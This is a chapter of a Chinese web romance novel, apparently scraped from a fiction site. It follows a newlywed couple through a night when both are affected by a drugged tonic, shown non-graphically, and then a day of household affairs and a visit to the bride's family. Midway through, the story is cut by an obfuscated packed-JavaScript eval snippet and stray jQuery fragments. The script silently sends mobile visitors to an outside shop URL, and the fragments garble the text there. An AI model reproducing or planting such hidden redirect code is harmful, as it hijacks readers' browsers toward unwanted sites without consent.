文趣网 > 都市小说 > 惊棠逢春 > 6. 回门
    突然的亲近,宋映棠又羞又恼:“怎,怎么会这样?”

    他们两人竟然双双如此。

    “那碗补汤有问题。”顾聿的嗓音透着沙哑,仿佛已经暗自挣扎良久。

    “那,怎么办?”宋映棠不知所措。

    顾聿凝视着她,最简单的办法就在眼前,她不愿,却来问他应该怎么办。

    气息越来越重,顾聿恨不得不管不顾,肆意妄为。

    重喘几息,他认命道:“像以前那样,可以接受吗?”

    如今的情形,必须稍作缓解。后面,就各自熬吧。

    宋映棠意识已经有些模糊,答不出只言片语。一个吻落下,她仿佛寻到解脱,立刻迎上。

    半截白皙的手臂落到床外,手指蜷缩又舒展几轮,雨势渐大,遮住房内的动静。

    窗外的枝叶被风吹到极致弯曲,好几次差点折断,雨水顺着叶片不断流下,三更天,风雨才渐息。

    屋内重归于静,床边散落一件男子里衣,适才不方便,他直接脱了。

    床上,两人并肩平躺,一言不发。

    汗水已经浸湿里衣,紧贴着宋映棠的身子,被褥不知何时已到床尾。

    余光瞥过半透的身段,好不容易压下去的躁意又起,良久,顾聿起身,对着门外吩咐:“备热水。”

    下人低头将热水抬入净室,顾聿率先进入。

    拾韵赶入内间伺候宋映棠,不禁被她身上密密麻麻的痕迹吓到。

    这便是夫妻之道吗?实在太可怕了!

    “姑娘……”拾韵一时不知如何是好。

    “先去柜子里拿床新的被褥,再替我备一套干净的里衣,换下的东西不要放在人前处理。”宋映棠冷静吩咐。

    净室之中水声响起。

    待顾聿走出净室,拾韵扶着宋映棠进入。余光瞥过不稳的步伐,顾聿暗自怀疑旁边的小丫头能不能伺候好。

    宋映棠他还不了解?以前不过亲一下都要反复检查,如今这般,不定会如何闹腾。

    半晌过去了,净室没有任何响动传来,顾聿抬眼望了望,再等等吧。

    又过了一会儿,出浴的响动传出,顾聿心想,她脚步不稳,若出了什么事,影响回门,那便不好。

    正准备进入,却见宋映棠独自走了出来。

    适才不是还需要人扶着,怎么这么快就恢复了?

    宋映棠见顾聿立于净室外,好奇道:“你还要再洗一次?”

    顾聿径直入内:“东西掉里面了。”

    拾韵却不禁疑惑,适才世子明明只着里衣进入,怎么会落东西?

    宋映棠已经疲惫不堪,侧身让她入内,先回床上。

    拾韵赶紧扶着她,没再细想此事。

    两人再次躺在一起,各自闭眼,却双双没有睡意。明明所有东西都换过了,可这方空间却似乎残留着一丝燥热。

    这时,宋映棠忽然记起他之前的话,不禁腹诽。

    方才和之前哪里一样?

    明明天差地别!

    朦胧中不知何时睡过去,再睁眼时,已有光亮透入罗账。

    侧眼,身旁已经空无一人。

    他这几日不用上朝,这么早就起身,会去哪里?

    也是,自己曾经伤过他,他又有了心仪之人,不愿与自己相处实属平常。

    宋映棠闭上双眼,自嘲一声,昨夜那些转瞬即逝的想法实在荒谬。

    此时的后院,顾聿挥剑破风,亦觉荒谬无比。

    昨夜的药难不成会发作两轮?

    可为何宋映棠就能睡得尚好,自己却被反复折磨,直到天色将明才堪堪入睡!

    想来还是定力不够,于是再次睁眼时,顾聿当即决定出门练剑。

    他原本就有每日晨起练剑的习惯,昨日不过是被宋映棠抢了被褥,没睡好,才耽误一日。

    这样看来,还是不能耽误!

    日上竿头,顾聿的里衣被汗水浸湿,吴掌事寻至后院。

    “公子,府中一众事宜已整理完毕,您看是否要交给夫人管理?”

    剑声依旧,顾聿没停下,也没答话。

    吴掌事不赶时辰,就这样静静等着。

    小半个时辰后,顾聿拿起外衣,走回净室,只留下一句:“按祖母的意思行事。”

    吴掌事躬身领命。

    顾府家大业大,需要打理的庶务比比皆是,上至田庄账目,下至仆婢调度,桩桩件件皆要留心。

    半个时辰后,吴掌事在寻真堂的偏房寻到宋映棠。

    祖母已经吩咐过,平日请安免去,只需初一十五到万延堂请安便可。

    晨间起身后,宋映棠心绪烦闷,想找个地方练字。

    顾聿让她前半个月都留在寻真堂,可他的书房又不方便入内,于是她便占领了此处偏房。

    吴掌事恭候许久,待娟秀字体铺满宣纸才缓缓开口:“夫人,这些是咱们府上的内外事务。”

    宋映棠抬眼,吴掌事身后跟着四个下人,每个都拿着半尺高的账簿。

    纠结一息,她道:“我初入府中,对府里的事宜还不熟悉,不如吴掌事再管理一段日子,待我熟悉之后再慢慢交给我。”

    这些账簿里包含了顾家的地契账目,想来顾聿是不愿她插手这些事的。

    吴掌事:“夫人若有任何不熟之处,尽管可唤老奴询问。”

    宋映棠:“我前段时日感染风寒,身子还未好完,再等等吧。”

    吴掌事迟疑一瞬,拿不定主意,只得将头转向门外。

    顾聿不知何时已经出现在门外,身着墨色常袍,倒是和宋映棠的水杏色长裙很搭。

    “公子……”

    “随她吧。”顾聿转身走向对面的书房,开始处理公务。

    宋映棠笔锋微顿,又拿出新的宣纸。

    偏房和书房窗户相对,一连大半日,两人各占一间,各安其事。

    直到桌上的宣纸堆积成叠,拾韵进入偏房:“姑娘,到了用膳的时辰了。”

    按说祖母尚在,几房应当同祖母一道用晚膳,可她喜静,除却家宴皆是独自用膳,剩下几房也懒得凑在一起。

    是以寻真堂的晚膳只有两人。

    宋映棠抬头望向窗边,竟已到了暮色时分。

    放下衣袖,目光落到对面,拾韵见此,主动答道:“世子还在批阅奏折。”

    宋映棠:“去请他一同用膳。”

    拾韵眼底划过一丝疑虑,随即照做。

    今日的晚膳有两冷两热一汤,冷碟色泽清雅,糟香嫩笋脆爽,糖渍鲜莲清甜;热菜不尚浓味,花胶石斑鱼肉质细嫩,菜心烩云腿鲜气十足;一锅竹荪乳鸽汤已撇尽浮油,汤色澄澈。

    清简却不寒俭。

    拾韵进门回禀:“姑娘,世子尚有公务,让您先用。”

    “不急,等等他吧。”

    宋映棠没有落座,打量起桌上碟盏之内的菜式。

    上京有好辣之风,为迎合风尚,哪怕不喜辣之人都会逼自己吃上几口,可这张桌上却一点辛辣不见。

    三年前宋映棠第一次和顾聿共同用膳,见到半桌的清淡,不由好奇:“你不好辣吗?”

    顾聿:“我的饮食随我娘,她从小喜淡。”

    宋映棠点点头,记下了他的习惯。

    回神,顾聿来到膳厅。

    见桌上饭菜未动,他道:“以后不必等我,我忙起来不知会忙到什么时候。”

    宋映棠:“无妨,左右我也不饿。”

    顾聿动筷,宋映棠却一动不动。

    半晌,顾聿抬眼望向她。

    宋映棠踌躇道:“明日就要回门了,有件事我想拜托你。”

    顾聿:“知道了,吃饭。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941859|213939||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    宋映棠低头动筷,她只是希望顾聿不要令她家人难堪,毕竟他在上京的手段无人不知。

    原本她以为入顾府便是入龙潭虎穴,毕竟三年前她令他颜面扫地,可这两日看来,顾聿虽不喜她,却也没有为难她,甚至因为圣上赐婚还照拂过她一两次。

    若是往后能一直如此,她便无再多奢求。

    回门一事颇有讲究,归门时辰、随行礼匣、服饰言谈皆有规矩。

    新妇不宜浓妆艳抹,宋映棠身着浅丁香绣折枝玉兰花长裙,发间攒数支珍珠鎏金小花钿错落点缀,侧旁斜插一支碧玺步摇。面颊只施薄粉,眉黛轻描,唇间点绯色口脂,气质娴雅柔和。

    顾聿一身石青色暗织云纹圆领常袍,色泽沉敛端方。二人衣饰一素一雅,立在一处,倒像一对璧人。

    辰时正,顾府的马车停在宋府大门,顾聿率先下车,手伸向宋映棠。

    看来他听进去了昨日的请求。

    虽然门外只有下人,但口舌恰好是从这些地方传出。

    宋映棠暗自感叹顾聿的心思,搭上清峭的手指,随他一道进入府中。

    中院正堂,宋令章和方绪因正襟危坐。

    见到姐姐,宋澄宵蓦然起身:“阿姐,姐……”话还没说完,余光扫过宋映棠身旁的顾聿,又收住。

    宋映棠:“都是为官的人了,还这么浮躁,叫姐夫。”

    宋澄宵心不甘情不愿地挤出一句:“姐夫。”

    顾聿颔首,当作回应,和宋映棠一道行至堂中,下跪请安:“参见岳父岳母。”

    只躬身的宋映棠见此,不禁惊讶,做戏需要做得这么真吗?

    方绪因未置一词,眼中只有对宋映棠的担忧。

    宋令章清了清嗓子:“起来吧。”

    宋令章一生勤勉,官拜二品,夫妻和睦,内宅安宁。儿子年轻有为,唯独女儿的婚事,是他最大的遗憾。

    “阿棠,你娘亲和二婶思你甚浓,你们去后宅叙叙话。”

    宋映棠点头,与二叔见礼后,随方绪因和二婶一道离开。

    两日未见,宋府一如以前那般,走在回廊上,仿佛自己还未出嫁,这不过是个寻常清晨。

    云舒堂,方绪因屏退所有下人,仔细打量着宋映棠:“你这两日过得可还好?”

    宋映棠:“娘,放心吧。顾聿的祖母心善,二房三房虽疏离,却不挑事,顾聿,对女儿也尚可。”

    方绪因眼中的担忧丝毫未退,苏氏亦是面色沉重。

    顾聿的秉性,上京谁人不知?落在他手中,活人都能褪层皮,何况宋映棠还曾经拒过他。

    宋映棠不想长辈担忧,起身替她们添茶。递茶给苏氏时,衣袖滑落半截,露出腕间大大小小的痕迹。

    “这。”苏氏不禁骇然。

    脸色一红,宋映棠赶紧放下衣袖。

    方绪因怎会不知这些痕迹来自何处,只道是顾聿狠绝无情,肆意折辱,泪水立刻溢满眼眶。

    宋映棠赶紧安慰,她在顾府的日子真的没有那么难挨。

    从朝到暮,宋映棠将这两日发生的事一一讲给她们听,祖母,二房,三房,还有那对孪生姐弟。

    虽然宋令章和宋见齐内宅都只有一人,但她们亦是名门出身,深谙家族内宅的弯弯绕绕。

    没想到顾府原本的龃龉反而令宋映棠有喘息之处。

    可苏氏还是忍不住自责:“都是二婶的错!当年你和顾聿明明两情相悦,若非因为……”

    “二婶。”宋映棠打断她的话,“以后这些话不要再提,如今的日子也不差。”

    苏氏知道自己说错了话,赶紧止住眼泪。

    暮色时分,三人返回正堂。

    按礼制,用完晚膳,便该回顾府了。

    才至堂外,宋澄宵愤恨的呵斥声已然炸开:“姓顾的!你究竟还是不是人!”